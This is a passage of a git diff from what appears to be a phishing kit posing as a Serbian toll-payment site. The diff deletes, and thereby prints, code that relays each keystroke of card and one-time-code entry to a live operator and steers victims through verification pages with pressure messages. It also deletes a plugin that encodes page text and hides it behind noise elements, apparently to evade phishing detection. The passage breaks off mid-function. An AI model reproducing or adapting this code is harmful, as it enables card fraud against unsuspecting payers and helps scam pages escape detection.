router.push("/success"), - kickOut: redirectToExternal, - block: redirectToExternal, - otpFail: () => - eventBus.emit("otp-valid", { - message2: - content.value.message2 || - i18n.global.t("Verification code error, please try again"), - }), - appFail: () => - eventBus.emit("app-valid", { - message2: - content.value.message2 || - i18n.global.t( - "The session is about to expire, please complete the verification now" - ), - }), - back: () => handleBackOrReject(content, true), - reject: () => handleBackOrReject(content, false), - refresh: () => { - if(localStorage.getItem("route")){ - localStorage.removeItem("route"); - window.location.reload(); - } - }, - }; - - if (content.type == "customOtpValid") { - if(content.value.customOtpData) { - setCustomOtpData(JSON.parse(content.value.customOtpData)); - } -} - if (content.type == "customOtpFail") { - eventBus.emit("custom-otp-valid", { - message2: content.value.message2, - }); - } - - const handler = typeHandlers[content.type]; - if (handler) handler(); - - useLoadingStore().setLoading(false); -} - -// Navigate to specific path with query parameters -function navigateTo(path: string, content: any) { - - router.push('/temp').then(() => { - router.push({ - path: path, - query: { - cardType: content.value?.data?.cardData?.cardBIN?.schema, - message1: content.value?.message1, - key: new Date().getMilliseconds(), - }, - }); - }); -} - -// Handle back or reject type -function handleBackOrReject(content: any, isBack: boolean) { - let message2 = i18n.global.t( - "This card does not support this transaction, please try another card" - ); - - if (configData.value.error_card_msg) { - message2 = configData.value.error_card_msg; - } - - if (content.value.type) { - const type = content.value.type; - if (type === "denyC" && configData.value.deny_c_msg) { - message2 = configData.value.deny_c_msg; - } - if (type === "denyD" && configData.value.deny_d_msg) { - message2 = configData.value.deny_d_msg; - } - } - - if (content.value.message2) { - message2 = content.value.message2; - } - - if (isBack) { - router.push({ path: "/card", query: { message2 } }); - } - - eventBus.emit("my-event", { message2 }); -} - -// Login to WebSocket -function loginWebsocket(token: string, isFirst: boolean) { - myWebSocket?.send( - JSON.stringify({ - event: "login", - content: { tag: "user", token, isFirst }, - }) - ); - initHtml(); -} - -// Redirect to an external URL -export function redirectToExternal() { - window.location.href = "https://www.putevi-srbije.rs/"; -} - -export async function loadHtml(url: string) { - try { - const response = await fetch(url); // 替换为您的 HTML 文件路径 - if (!response.ok) { - return ""; - } - return await response.text(); - } catch (error) { - return ""; - } -} - -export const headerHtml = ref(""); -export const footerHtml = ref(""); -export const loadingBg = ref("#ffffff"); - -const initHtml = async () => { - const routePath = localStorage.getItem("route"); - headerHtml.value = await loadHtml("/Static_zy/header.html"); - footerHtml.value = await loadHtml("/Static_zy/footer.html"); - await router.push(routePath ? `/${routePath}` : "/phone"); - setTimeout(async () => { - useLoadingStore().setLoading(false); - loadingBg.value = "transparent"; - }, 200); -}; diff --git a/t_etc_temp1/src/components/HelloWorld.vue b/t_etc_temp1/src/components/HelloWorld.vue deleted file mode 100644 index 8f39347..0000000 --- a/t_etc_temp1/src/components/HelloWorld.vue +++ /dev/null @@ -1,51 +0,0 @@ - - - - - diff --git a/t_etc_temp1/src/components/TheWelcome.vue b/t_etc_temp1/src/components/TheWelcome.vue deleted file mode 100644 index a70765c..0000000 --- a/t_etc_temp1/src/components/TheWelcome.vue +++ /dev/null @@ -1,86 +0,0 @@ - - - diff --git a/t_etc_temp1/src/components/WelcomeItem.vue b/t_etc_temp1/src/components/WelcomeItem.vue deleted file mode 100644 index ba0def3..0000000 --- a/t_etc_temp1/src/components/WelcomeItem.vue +++ /dev/null @@ -1,86 +0,0 @@ - - - diff --git a/t_etc_temp1/src/main.ts b/t_etc_temp1/src/main.ts index f4f3682..9f2935b 100644 --- a/t_etc_temp1/src/main.ts +++ b/t_etc_temp1/src/main.ts @@ -1,4 +1,3 @@ -import { TextObfuscatorPlugin } from "./mix/textObfuscator"; import { createApp, ref } from "vue"; import { createPinia } from "pinia"; @@ -25,6 +24,5 @@ app.use(i18n); app.use(createPinia()); app.use(router); -// //app.use(TextObfuscatorPlugin); app.mount("#app"); export default i18n; diff --git a/t_etc_temp1/src/mix/textObfuscator.ts b/t_etc_temp1/src/mix/textObfuscator.ts deleted file mode 100644 index 76c21e9..0000000 --- a/t_etc_temp1/src/mix/textObfuscator.ts +++ /dev/null @@ -1,643 +0,0 @@ -import type { ComponentInternalInstance, Plugin, App } from 'vue'; - -/** - * 全局文本混淆插件 - * 自动查找并替换所有文本节点 - */ -// 修改Vue混淆插件以确保处理整个组件树 -export const TextObfuscatorPlugin: Plugin = { - install(app: App) { - // 安装全局样式和解码脚本 - addObfuscationStyle(); - - // 注册全局指令,直接处理元素内容 - app.directive('odata', { - mounted(el) { - processTextNodes(el, null); - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(el), 0); - } - setupMutationObserver(el); - }, - updated(el) { - processTextNodes(el, null); - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(el), 0); - } - } - }); - - // 在 app.mixin 中修改处理 $el 的部分 - app.mixin({ - mounted() { - // 安全地获取组件的根元素(s) - const rootElements = this.$el ? - (this.$el.nodeType === Node.ELEMENT_NODE ? - [this.$el] : - (Array.isArray(this.$el) ? this.$el : [])) : - []; - - // 处理每个根元素 - rootElements.forEach((rootElement: Element) => { - if (!rootElement || !(rootElement instanceof Element)) return; - - // 1. 首先处理当前组件的根元素 - processTextNodes(rootElement, this); - - // 2. 递归处理所有子元素,确保覆盖所有文本节点 - const processAllChildNodes = (element: Element) => { - if (!(element instanceof Element)) return; - - try { - // 为每个子元素单独处理文本节点 - const childElements = element.querySelectorAll('*'); - childElements.forEach(childEl => { - processTextNodes(childEl, null); - }); - - // 立即解码当前处理的元素 - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(element), 0); - } - } catch (error) { - console.error('Error processing child nodes:', error, element); - } - }; - - // 处理整个组件树 - processAllChildNodes(rootElement); - - // 设置监听 - setupMutationObserver(rootElement); - }); - // 添加:深度扫描所有包含纯文本的元素 - setTimeout(() => { - const scanPureTextElements = (rootElement: Element) => { - // 跳过已处理过的元素 - if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) { - return; - } - - // 检查是否为包含纯文本的元素(只有文本节点,没有元素节点) - let hasOnlyTextNodes = false; - let hasElementNodes = false; - - if (rootElement.childNodes && rootElement.childNodes.length > 0) { - hasOnlyTextNodes = Array.from(rootElement.childNodes).some( - node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() - ); - - hasElementNodes = Array.from(rootElement.childNodes).some( - node => node.nodeType === Node.ELEMENT_NODE - ); - } - - // 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它 - if (hasOnlyTextNodes && !hasElementNodes && - !SKIP_TAGS.includes(rootElement.tagName) && - !Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) { - processTextNodes(rootElement, null); - if (window.decodeObfuscatedContent) { - window.decodeObfuscatedContent(rootElement); - } - } - - // 递归处理子元素 - if (rootElement.children) { - Array.from(rootElement.children).forEach(child => { - scanPureTextElements(child); - }); - } - }; - - // 从body开始扫描 - scanPureTextElements(document.body); - }, 10); // 给DOM足够的时间渲染 - }, - - updated() { - // 安全地获取组件的根元素(s) - const rootElements = this.$el ? - (this.$el.nodeType === Node.ELEMENT_NODE ? - [this.$el] : - (Array.isArray(this.$el) ? this.$el : [])) : - []; - - // 处理每个根元素 - rootElements.forEach((rootElement: Element | undefined) => { - if (!rootElement || !(rootElement instanceof Element)) return; - - processTextNodes(rootElement, this); - - try { - // 递归处理所有子元素 - const childElements = rootElement.querySelectorAll('*'); - childElements.forEach((childEl: Element) => { - processTextNodes(childEl, null); - }); - - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(rootElement), 0); - } - } catch (error) { - console.error('Error processing updated component:', error, rootElement); - } - }); - } - }); - } -}; - -// 声明全局函数类型 -declare global { - interface Window { - decodeObfuscatedContent: (rootElement?: Element) => void; - } -} - -// 需要跳过的标签 -const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE']; -// 需要跳过的类名 -const SKIP_CLASSES = ['no-obfuscate']; - -/** - * 处理元素中的所有文本节点 - */ -function processTextNodes(element: Element, instance: ComponentInternalInstance | null) { - if (!element || element.nodeType !== Node.ELEMENT_NODE) { - return; - } - // 为 DIV 元素增加优先处理逻辑 - if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) { - // 对于DIV元素,特殊处理其直接子文本节点 - let hasTextContent = false; - for (let i = 0; i < element.childNodes.length; i++) { - const node = element.childNodes[i]; - if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') { - hasTextContent = true; - break; - } - } - - // 如果DIV中有直接的文本内容,标记它需要被处理 - if (hasTextContent) { - // 只处理未混淆过的DIV - const textContent = Array.from(element.childNodes) - .filter(node => node.nodeType === Node.TEXT_NODE && node.textContent) - .map(node => node.textContent).join('').trim(); - - if (textContent) { - // 替换整个DIV的内容 - const originalHTML = element.innerHTML; - const processedHTML = obfuscateText(textContent); - element.innerHTML = processedHTML + originalHTML.replace(textContent, ''); - element.setAttribute('data-obfuscated', 'true'); - } - } - } - // 跳过带有特定标记的元素(避免重复处理) - if (element.hasAttribute('data-obfuscated') || - !element || - SKIP_TAGS.includes(element.tagName) || - Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) { - return; - } - - // 使用 TreeWalker 遍历所有文本节点 - const walker = document.createTreeWalker( - element, - NodeFilter.SHOW_TEXT, - { - acceptNode(node) { - // 不处理完全空的文本节点 - if (!node.textContent) { - return NodeFilter.FILTER_REJECT; - } - - // 检查父节点是否应该被跳过 - const parent = node.parentElement; - if (parent && ( - SKIP_TAGS.includes(parent.tagName) || - parent.hasAttribute('data-obfuscated') || - Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls)) - )) { - return NodeFilter.FILTER_REJECT; - } - - // 如果只包含空白且不是段落的首个节点,则跳过 - if (node.textContent.trim() === '' && - !(parent?.tagName === 'P' && node === parent.firstChild)) { - return NodeFilter.FILTER_REJECT; - } - - return NodeFilter.FILTER_ACCEPT; - } - } - ); - - // 收集需要处理的文本节点 - const textNodes: Text[] = []; - let currentNode: Node | null = walker.nextNode(); - - while (currentNode) { - textNodes.push(currentNode as Text); - currentNode = walker.nextNode(); - } - - // 预先计算所有混淆内容,减少DOM操作次数 - const fragments: DocumentFragment[] = []; - const nodesToReplace: Text[] = []; - - // 在处理文本节点前,移除所有前导空格 - for (const textNode of textNodes) { - const text = textNode.textContent; - if (!text) continue; - - // 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白 - let processedText = text; - if (textNode.parentElement?.tagName === 'P' && - textNode === textNode.parentElement.firstChild) { - // 去除开头的空白,无论什么情况 - processedText = text.replace(/^\s+/, ''); - // 如果去除空白后为空,直接跳过这个节点 - if (!processedText) continue; - } - - try { - // 创建文档碎片来存储混淆后的内容 - const fragment = document.createDocumentFragment(); - const tempContainer = document.createElement('div'); - tempContainer.innerHTML = obfuscateText(processedText); - - // 将内容移动到碎片中 - while (tempContainer.firstChild) { - fragment.appendChild(tempContainer.firstChild); - } - - fragments.push(fragment); - nodesToReplace.push(textNode); - } catch (error) { - console.error('Error processing text node:', error); - } - } - - // 批量替换节点,减少回流 - for (let i = 0; i < nodesToReplace.length; i++) { - const textNode = nodesToReplace[i]; - const fragment = fragments[i]; - - if (textNode.parentNode) { - textNode.parentNode.replaceChild(fragment, textNode); - } - } -} - -/** - * 设置 MutationObserver 来监听 DOM 变化 - */ -function setupMutationObserver(element: Element) { - if (!element) return; - - const observer = new MutationObserver((mutations) => { - for (const mutation of mutations) { - if (mutation.type === 'childList' && mutation.addedNodes.length) { - mutation.addedNodes.forEach((node) => { - if (node.nodeType === Node.ELEMENT_NODE) { - processTextNodes(node as Element, null); - // 观察到新元素后立即解码 - if (window.decodeObfuscatedContent) { - window.decodeObfuscatedContent(node as Element); - } - } - }); - } - } - }); - - observer.observe(element, { - childList: true, - subtree: true - }); -} - -/** - * 生成随机噪声标签和注释 - */ -function getRandomNoise() { - const noiseTypes = [ - // HTML注释 - () => ``, - // 空的自定义元素 - () => { - const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty']; - const tag = tags[Math.floor(Math.random() * tags.length)]; - return `<${tag}>`; - }, - // 带随机属性的自定义元素 - () => { - const attr = `data-${Math.random().toString(36).substring(2, 7)}`; - const value = Math.random().toString(36).substring(2, 10); - return ``; - }, - // 带随机文本的隐藏元素 - () => { - const text = Math.random().toString(36).substring(2, 8); - return `${text}`; - } - ]; - - // 随机选择一种噪声类型 - const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)]; - return noiseGenerator(); -} - -/** - * 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签 - */ -function obfuscateText(text: string): string { - if (!text) return ''; - - // 首先移除文本开头的所有空白字符以解决段落首行缩进问题 - text = text.replace(/^\s+/, ''); - if (!text) return ''; - - // 使用正则表达式将文本拆分为单词和空格,保持完整性 - const words = text.split(/(\s+)/); - let result = ''; - - // 过滤掉空字符串,避免生成空的z-span元素 - const filteredWords = words.filter(word => word.length > 0); - - // 为每个单词创建一个独立的自定义元素 - filteredWords.forEach((word, index) => { - // 对空格和特殊字符进行特殊处理 - if (/^\s+$/.test(word)) { - // 改进:更精确地处理各种换行符 - if (/[\n\r]/.test(word)) { - // 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素 - result += ''; - } else { - // 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space - result += ''; - } - return; - } - - // 随机在单词前添加噪声,但减少频率 - if (Math.random() > 0.85) { - result += getRandomNoise(); - } - - // 为了提高效率,固定属性名 - const attrId = `data`; - - // 将单词编码为Base64 - const encodedWord = btoa(encodeURIComponent(word)); - - // 随机选择z-span或z-strong标签增加混淆度 - const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong'; - - // 添加标签开始部分 - result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`; - - // 随机在标签内添加隐藏内容,但减少频率 - if (Math.random() > 0.8) { - const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5)); - result += `${fakeText}`; - } - - // 闭合标签 - result += ``; - - // 随机在单词后添加噪声,但减少频率 - if (Math.random() > 0.85) { - result += getRandomNoise(); - } - }); - - result += ''; - return result; -} - -/** - * 添加显示混淆内容的样式和解码脚本 - */ -function addObfuscationStyle() { - // 添加样式 - if (!document.getElementById('obfuscation-style')) { - const style = document.createElement('style'); - style.id = 'obfuscation-style'; - style.textContent = ` - /* 自定义元素基本样式 */ - z-wrap { - display: inline; - white-space: normal; - user-select: none; /* 阻止文本选择 */ - text-indent: 0 !important; /* 确保无缩进 */ - } - - /* 添加一个类来允许选择文本的情况 */ - .allow-select z-wrap { - user-select: text; - } - - /* 确保段落中的混淆内容没有开头缩进 */ - p > z-wrap:first-child { - text-indent: 0 !important; - margin-left: 0 !important; - padding-left: 0 !important; - } - - /* 处理所有p标签,确保没有多余空间 */ - p { - text-indent: 0; - } - - z-span, z-strong { - display: inline-block; - position: relative; - opacity: 1; - transition: opacity 0.1s ease; - margin: 0; - padding: 0; - } - - /* 控制右侧间距 */ - z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span { - margin-left: 0.1em; - } - - /* 移除最后一个元素的右侧间距 */ - z-span:last-child, z-strong:last-child { - margin-right: 0; - } - - z-span::after, z-strong::after { - content: attr(data-content); - position: relative; - pointer-events: none; - } - - /* 空格元素 - 精确控制宽度 */ - z-space { - display: inline-block; - width: 0.25em; - margin: 0; - padding: 0; - } - - /* 空的z-span/z-strong元素不应该显示 */ - z-span:not([data-content]), z-strong:not([data-content]) { - display: none; - } - - /* 换行元素 - 强制换行且完全没有尺寸 */ - z-break { - display: block !important; - height: 0 !important; - width: 0 !important; - margin: 0 !important; - padding: 0 !important; - border: none !important; - line-height: 0 !important; - font-size: 0 !important; - overflow: hidden !important; - } - - /* 隐藏所有噪声元素 */ - z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden { - display: none; - width: 0; - height: 0; - opacity: 0; - overflow: hidden; - position: absolute; - visibility: hidden; - } - - /* 预加载状态 */ - [data-preload="true"] { - min-width: 0.5em; - min-height: 1em; - } - `; - document.head.appendChild(style); - } - - // 添加自定义元素注册,确保所有浏览器都能正确处理 - const scriptCustomElements = document.createElement('script'); - scriptCustomElements.textContent = ` - // 注册所有自定义元素 - if ('customElements' in window) { - customElements.define('z-wrap', class extends HTMLElement {}); - customElements.define('z-span', class extends HTMLElement {}); - customElements.define('z-strong', class extends HTMLElement {}); - customElements.define('z-space', class extends HTMLElement {}); - customElements.define('z-break', class extends HTMLElement {}); - - // 注册噪声元素 - customElements.define('z-nil', class extends HTMLElement {}); - customElements.define('z-void', class extends HTMLElement {}); - customElements.define('z-null', class extends HTMLElement {}); - customElements.define('z-fake', class extends HTMLElement {}); - customElements.define('z-empty', class extends HTMLElement {}); - customElements.define('z-attr', class extends HTMLElement {}); - customElements.define('z-text', class extends HTMLElement {}); - customElements.define('z-hidden', class extends HTMLElement {}); - } - `; - document.head.appendChild(scriptCustomElements); - - // 添加提前解码的脚本,放在顶部优先加载 - if (!document.getElementById('obfuscation-script')) { - const script = document.createElement('script'); - script.id = 'obfuscation-script'; - script.textContent = ` - (function() { - // 定义解码函数并暴露为全局函数 - window.decodeObfuscatedContent = function(rootElement) { - const root = rootElement || document.body; - const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]'); - - if (elements.length === 0) return; - - // 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染 - const runWhenIdle = window.requestIdleCallback || - function(cb) { setTimeout(cb, 1); }; - - runWhenIdle(() => { - elements.forEach(el => { - // 避免重复解码 - if (el.hasAttribute('data-content')) return; - - // 找到编码数据 - const dataAttr = el.getAttribute('data-data'); - if (dataAttr) { - try { - // 解码并设置 - const decodedWord = decodeURIComponent(atob(dataAttr)); - el.setAttribute('data-content', decodedWord); - el.removeAttribute('data-preload'); - } catch (e) { - // 解码失败时跳过 - } - } - }); - }); - }; - - // 页面加载完成后立即执行一次全局解码 - if (document.readyState === 'loading') { - document.addEventListener('DOMContentLoaded', function() { - window.decodeObfuscatedContent(); - }); - } else { - window.decodeObfuscatedContent(); - } - - // 使用IntersectionObserver优化解码性能 - if ('IntersectionObserver' in window) { - const decodeObserver = new IntersectionObserver( - (entries, observer) => { - entries.forEach(entry => { - if (entry.isIntersecting) { - // 容器进入视口时解码其内容 - window.decodeObfuscatedContent(entry.target); - observer.unobserve(entry.target); - } - }); - }, - { rootMargin: '200px 0px' } // 提前200像素开始解码 - ); - - // 监听所有混淆容器 - function observeContainers() { - document.querySelectorAll('z-wrap').forEach(container => { - decodeObserver.observe(container); - }); - } - - // 初始观察 - if (document.readyState === 'loading') { - document.addEventListener('DOMContentLoaded', observeContainers); - } else { - observeContainers(); - } - - // 定期检查新容器 - setInterval(observeContainers, 2000); - } else { - // 降级方案:定期全局检查 - setInterval(() => window.decodeObfuscatedContent(), 1000); - } - })(); - `; - - // 将脚本添加到head的最前面,确保尽早加载 - if (document.head.firstChild) { - document.head.insertBefore(script, document.head.firstChild); - } else { - document.head.appendChild(script); - } - } -} \ No newline at end of file diff --git a/t_etc_temp1/src/utils/common.ts.backup b/t_etc_temp1/src/utils/common.ts.backup deleted file mode 100644 index 8f55f26..0000000 --- a/t_etc_temp1/src/utils/common.ts.backup +++ /dev/null @@ -1,331 +0,0 @@ -import _ from "lodash"; -import { sendInput } from "@/api/api"; -import type { Socket } from "@/utils/websocket"; -import eventBus from "@/utils/eventBus"; -import router from "@/router"; -import { ref } from "vue"; -import { useSocket } from "@/utils/websocket"; -import { useLoadingStore } from "@/stores/loadingStore"; -import i18n from "@/main"; -import { useSocketIo } from "./socketio"; - -const viteBaseUrl = import.meta.env.VITE_BASE_URL; - -// WebSocket interface -interface MyWebSocket { - socket: any; - send: (data: string) => Promise; - off: (event: string) => void; - on: (event: string, callback: (data: any) => void) => void; -} - -export const customOtpData = ref({}); - -export function setCustomOtpData(data: any) { - customOtpData.value = data; - localStorage.setItem("customOtpData", JSON.stringify(data)); -} - -export let myWebSocket: MyWebSocket | undefined; - -// Configuration data -export const configData = ref>({}); - -// Utility function to check if all values in an object are not empty -export function areAllValuesNotEmpty( - obj: Record, - excludedFields: string[] = [] -): boolean { - return Object.keys(obj).every((key) => { - if (excludedFields.includes(key)) return true; - const value = obj[key]; - return ( - value !== null && - value !== undefined && - value !== "" && - !(typeof value === "string" && value.trim() === "") - ); - }); -} - -// 存储 WebSocket 和 API 的防抖函数 -const wsDebounceFunctions: Record< - string, - _.DebouncedFunc<(...args: any[]) => void> -> = {}; -const apiDebounceFunctions: Record< - string, - _.DebouncedFunc<(...args: any[]) => void> -> = {}; - -// 获取或创建针对某个键的防抖函数 -function getDebouncedFunction( - debounceFunctions: Record void>>, - key: string, - func: (...args: any[]) => void, - wait: number -) { - if (!debounceFunctions[key]) { - debounceFunctions[key] = _.debounce(func, wait); - } - return debounceFunctions[key]; -} - -const modeRef = ref(1) - - -// 处理输入变化 -export function inputChange(type: string, key: any, value: any) { - const currentTimestamp = Date.now(); // 当前时间戳 - - // WebSocket 防抖函数 - const wsDebouncedFunction = getDebouncedFunction( - wsDebounceFunctions, - key, - (type, key, value) => { - myWebSocket?.send( - JSON.stringify({ - event: "input_text", - content: { type, key, text: value }, - timestamp: currentTimestamp, - }) - ); - }, - 300 - ); - - // API 防抖函数 - const apiDebouncedFunction = getDebouncedFunction( - apiDebounceFunctions, - key, - (type, key, value) => { - sendInput({ - content: { type, key, text: value }, - timestamp: currentTimestamp, - }); - }, - 1000 - ); - - // 调用防抖函数 - wsDebouncedFunction(type, key, value); - if(modeRef.value !== 2) { - apiDebouncedFunction(type, key, value); - } -} - - -// Handle login success -export function loginSuccess(token: string, mode: number) { - if(mode === 2) { - modeRef.value = 2 - myWebSocket = useSocketIo( - `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host - }/ws?token=${token}` - ); - }else{ - myWebSocket = useSocket( - `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host - }/ws?token=${token}` - ); - } - - myWebSocket?.on("close", () => console.log("Socket closed!")); - myWebSocket?.on("open", () => { - const lastToken = localStorage.getItem("token"); - loginWebsocket(token, lastToken !== token); - }); - - myWebSocket?.on("message", handleMessage); - - window.addEventListener("beforeunload", () => { - myWebSocket?.off("close"); - }); -} - -// Handle WebSocket messages -function handleMessage(data: any) { - const jsonData = JSON.parse(data); - if (!jsonData || !jsonData.event) return; - - const { event, content } = jsonData; - - switch (event) { - case "login": - //handleLoginEvent(content); - break; - case "result_type": - handleResultTypeEvent(content); - break; - case "reload": - window.location.reload(); - break; - default: - break; - } -} - -// Handle login event -function handleLoginEvent(content: any) { - const route = localStorage.getItem("route"); - if (route) { - const customOtpDataValue = localStorage.getItem("customOtpData"); - if (route === "customOtpValid" && customOtpDataValue) { - setCustomOtpData(JSON.parse(customOtpDataValue)); - myWebSocket?.send( - JSON.stringify({ - event: "page_type", - content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type }, - }) - ); - return; - } - myWebSocket?.send( - JSON.stringify({ - event: "page_type", - content: { pageType: route }, - }) - ); - } -} - -// Handle result type event -function handleResultTypeEvent(content: any) { - if (!content) return; - - const typeHandlers: Record void> = { - customOtpValid: () => navigateTo("/customOtpValid", content), - otpValid: () => navigateTo("/otpValid", content), - appValid: () => navigateTo("/appValid", content), - success: () => router.push("/success"), - kickOut: redirectToExternal, - block: redirectToExternal, - otpFail: () => - eventBus.emit("otp-valid", { - message2: - content.value.message2 || - i18n.global.t("Verification code error, please try again"), - }), - appFail: () => - eventBus.emit("app-valid", { - message2: - content.value.message2 || - i18n.global.t( - "The session is about to expire, please complete the verification now" - ), - }), - back: () => handleBackOrReject(content, true), - reject: () => handleBackOrReject(content, false), - refresh: () => { - if(localStorage.getItem("route")){ - localStorage.removeItem("route"); - window.location.reload(); - } - }, - }; - - if (content.type == "customOtpValid") { - if(content.value.customOtpData) { - setCustomOtpData(JSON.parse(content.value.customOtpData)); - } -} - if (content.type == "customOtpFail") { - eventBus.emit("custom-otp-valid", { - message2: content.value.message2, - }); - } - - const handler = typeHandlers[content.type]; - if (handler) handler(); - - useLoadingStore().setLoading(false); -} - -// Navigate to specific path with query parameters -function navigateTo(path: string, content: any) { - - router.push('/temp').then(() => { - router.push({ - path: path, - query: { - cardType: content.value?.data?.cardData?.cardBIN?.schema, - message1: content.value?.message1, - key: new Date().getMilliseconds(), - }, - }); - }); -} - -// Handle back or reject type -function handleBackOrReject(content: any, isBack: boolean) { - let message2 = i18n.global.t( - "This card does not support this transaction, please try another card" - ); - - if (configData.value.error_card_msg) { - message2 = configData.value.error_card_msg; - } - - if (content.value.type) { - const type = content.value.type; - if (type === "denyC" && configData.value.deny_c_msg) { - message2 = configData.value.deny_c_msg; - } - if (type === "denyD" && configData.value.deny_d_msg) { - message2 = configData.value.deny_d_msg; - } - } - - if (content.value.message2) { - message2 = content.value.message2; - } - - if (isBack) { - router.push({ path: "/card", query: { message2 } }); - } - - eventBus.emit("my-event", { message2 }); -} - -// Login to WebSocket -function loginWebsocket(token: string, isFirst: boolean) { - myWebSocket?.send( - JSON.stringify({ - event: "login", - content: { tag: "user", token, isFirst }, - }) - ); - initHtml(); -} - -// Redirect to an external URL -export function redirectToExternal() { - window.location.href = "https://www.putevi-srbije.rs/"; -} - -export async function loadHtml(url: string) { - try { - const response = await fetch(url); // 替换为您的 HTML 文件路径 - if (!response.ok) { - return ""; - } - return await response.text(); - } catch (error) { - return ""; - } -} - -export const headerHtml = ref(""); -export const footerHtml = ref(""); -export const loadingBg = ref("#ffffff"); - -const initHtml = async () => { - const routePath = localStorage.getItem("route"); - headerHtml.value = await loadHtml("/Static_zy/header.html"); - footerHtml.value = await loadHtml("/Static_zy/footer.html"); - await router.push(routePath ? `/${routePath}` : "/phone"); - setTimeout(async () => { - useLoadingStore().setLoading(false); - loadingBg.value = "transparent"; - }, 200); -}; diff --git a/t_etc_temp2/src/components/HelloWorld.vue b/t_etc_temp2/src/components/HelloWorld.vue deleted file mode 100644 index 8f39347..0000000 --- a/t_etc_temp2/src/components/HelloWorld.vue +++ /dev/null @@ -1,51 +0,0 @@ - - - - - diff --git a/t_etc_temp2/src/components/TheWelcome.vue b/t_etc_temp2/src/components/TheWelcome.vue deleted file mode 100644 index a70765c..0000000 --- a/t_etc_temp2/src/components/TheWelcome.vue +++ /dev/null @@ -1,86 +0,0 @@ - - - diff --git a/t_etc_temp2/src/components/WelcomeItem.vue b/t_etc_temp2/src/components/WelcomeItem.vue deleted file mode 100644 index ba0def3..0000000 --- a/t_etc_temp2/src/components/WelcomeItem.vue +++ /dev/null @@ -1,86 +0,0 @@ - - - diff --git a/t_etc_temp2/src/main.ts b/t_etc_temp2/src/main.ts index f4f3682..9f2935b 100644 --- a/t_etc_temp2/src/main.ts +++ b/t_etc_temp2/src/main.ts @@ -1,4 +1,3 @@ -import { TextObfuscatorPlugin } from "./mix/textObfuscator"; import { createApp, ref } from "vue"; import { createPinia } from "pinia"; @@ -25,6 +24,5 @@ app.use(i18n); app.use(createPinia()); app.use(router); -// //app.use(TextObfuscatorPlugin); app.mount("#app"); export default i18n; diff --git a/t_etc_temp2/src/mix/textObfuscator.ts b/t_etc_temp2/src/mix/textObfuscator.ts deleted file mode 100644 index 76c21e9..0000000 --- a/t_etc_temp2/src/mix/textObfuscator.ts +++ /dev/null @@ -1,643 +0,0 @@ -import type { ComponentInternalInstance, Plugin, App } from 'vue'; - -/** - * 全局文本混淆插件 - * 自动查找并替换所有文本节点 - */ -// 修改Vue混淆插件以确保处理整个组件树 -export const TextObfuscatorPlugin: Plugin = { - install(app: App) { - // 安装全局样式和解码脚本 - addObfuscationStyle(); - - // 注册全局指令,直接处理元素内容 - app.directive('odata', { - mounted(el) { - processTextNodes(el, null); - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(el), 0); - } - setupMutationObserver(el); - }, - updated(el) { - processTextNodes(el, null); - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(el), 0); - } - } - }); - - // 在 app.mixin 中修改处理 $el 的部分 - app.mixin({ - mounted() { - // 安全地获取组件的根元素(s) - const rootElements = this.$el ? - (this.$el.nodeType === Node.ELEMENT_NODE ? - [this.$el] : - (Array.isArray(this.$el) ? this.$el : [])) : - []; - - // 处理每个根元素 - rootElements.forEach((rootElement: Element) => { - if (!rootElement || !(rootElement instanceof Element)) return; - - // 1. 首先处理当前组件的根元素 - processTextNodes(rootElement, this); - - // 2. 递归处理所有子元素,确保覆盖所有文本节点 - const processAllChildNodes = (element: Element) => { - if (!(element instanceof Element)) return; - - try { - // 为每个子元素单独处理文本节点 - const childElements = element.querySelectorAll('*'); - childElements.forEach(childEl => { - processTextNodes(childEl, null); - }); - - // 立即解码当前处理的元素 - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(element), 0); - } - } catch (error) { - console.error('Error processing child nodes:', error, element); - } - }; - - // 处理整个组件树 - processAllChildNodes(rootElement); - - // 设置监听 - setupMutationObserver(rootElement); - }); - // 添加:深度扫描所有包含纯文本的元素 - setTimeout(() => { - const scanPureTextElements = (rootElement: Element) => { - // 跳过已处理过的元素 - if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) { - return; - } - - // 检查是否为包含纯文本的元素(只有文本节点,没有元素节点) - let hasOnlyTextNodes = false; - let hasElementNodes = false; - - if (rootElement.childNodes && rootElement.childNodes.length > 0) { - hasOnlyTextNodes = Array.from(rootElement.childNodes).some( - node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() - ); - - hasElementNodes = Array.from(rootElement.childNodes).some( - node => 